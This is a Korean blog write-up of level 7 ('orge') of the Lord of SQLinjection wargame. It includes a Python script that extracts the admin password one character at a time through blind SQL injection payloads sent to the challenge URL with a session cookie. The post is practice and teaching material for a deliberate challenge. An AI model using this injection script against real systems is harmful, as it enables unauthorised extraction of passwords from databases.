Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 스프링
- 세션쿠키
- php
- 스프링 특징
- 스프링 종류
- 자바 Array list
- 자바 is-a
- 스프링구조
- Lord of sqlinjection
- 자바 has-a
- lord of sqlinjection`
- 자바 문법
- lord of sqlinjectin
- 세션
- 마이크로서비스 아키택트
- 보안
- 자바
- 웹 개발
- 웹
- 해킹
- 서버
- 소켓
- Los
- 쿠키
- sql
- XSS
- injection
- 클라이언트
- APM
- sqlinjection
Archives
- Today
- Total
LJ
Lord of SQLinjection ( 7번 ) 본문
orge 문제이다.
코드 내용(아래 쿼리) 을 봤을 때 문제를 해결하려면
admin의 pw를 알아내야한다.
그러기 위해 일단 pw의 길이부터 알아내야한다.
위 코드를 이용해 Blind SQl injection 수행 결과
패스워드의 길이는 8인 것을 알 수 있다.
다음은 admin의 pw의 값을 한 글자씩 알아본다.
import requests
# requests 라이브러리를 임포트하여 http 요청을 보낼 수 있게 한다.
# 초기 비밀번호를 빈 문자열로 설정
pw = ''
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies={'PHPSESSID':'inpc1vtk0dstarnptrplvsohk1'}
#공격 대상 URL과 쿠키를 설정
# 비밀번호의 최대 길이를 8로 가정하여 반복
#아스키코드 32~122까지의 문자를 검사
for i in range(1,9):
for j in range(32,123):
req=f"{url}?pw='|| id='admin'%26%26ascii(substr(pw,{i},1))={j}%23"
#f는 파이썬에서 문자열을 포맷팅하는 방법 중 하나인 "f-string"을 나타낸다. f-string은 문자열 안에 중괄호 {}를 사용하여 변수나 표현식을 직접 삽입할 수 있게 한다.
#예를 들어, 동일한 문자열을 f-string 없이 작성하려면 다음과 같이 작성해야 한다
#req = "{}?pw='|| id='admin'%26%26ascii(substr(pw,{},1))={}#".format(url, i, j)
res=requests.get(req,cookies=cookies)
#위에서 생성한 요청을 서버에 HTTP GET 요청을 보낸다.
print(req,'find:',pw)
if ('Hello admin' in res.text):
print(f"======={chr(j)}=========")
pw+=chr(j)
break
print(f"=====(pw :{pw})====")
를 통해 비밀번호를 다음과 같이 알아낸다.
알아낸 비밀번호를 통해 문제를 해결할 수 있다
'IT 보안 > 보안첼린지' 카테고리의 다른 글
XSS game level 5 (0) | 2024.05.20 |
---|---|
XSS game level4 (0) | 2024.05.17 |
Lord of SQLinjection ( 6번 ) (0) | 2024.05.16 |
Lord of SQLinjection ( 4번 ) (0) | 2024.05.14 |
Lord of SQLinjection ( 3번 ) (0) | 2024.05.13 |
Comments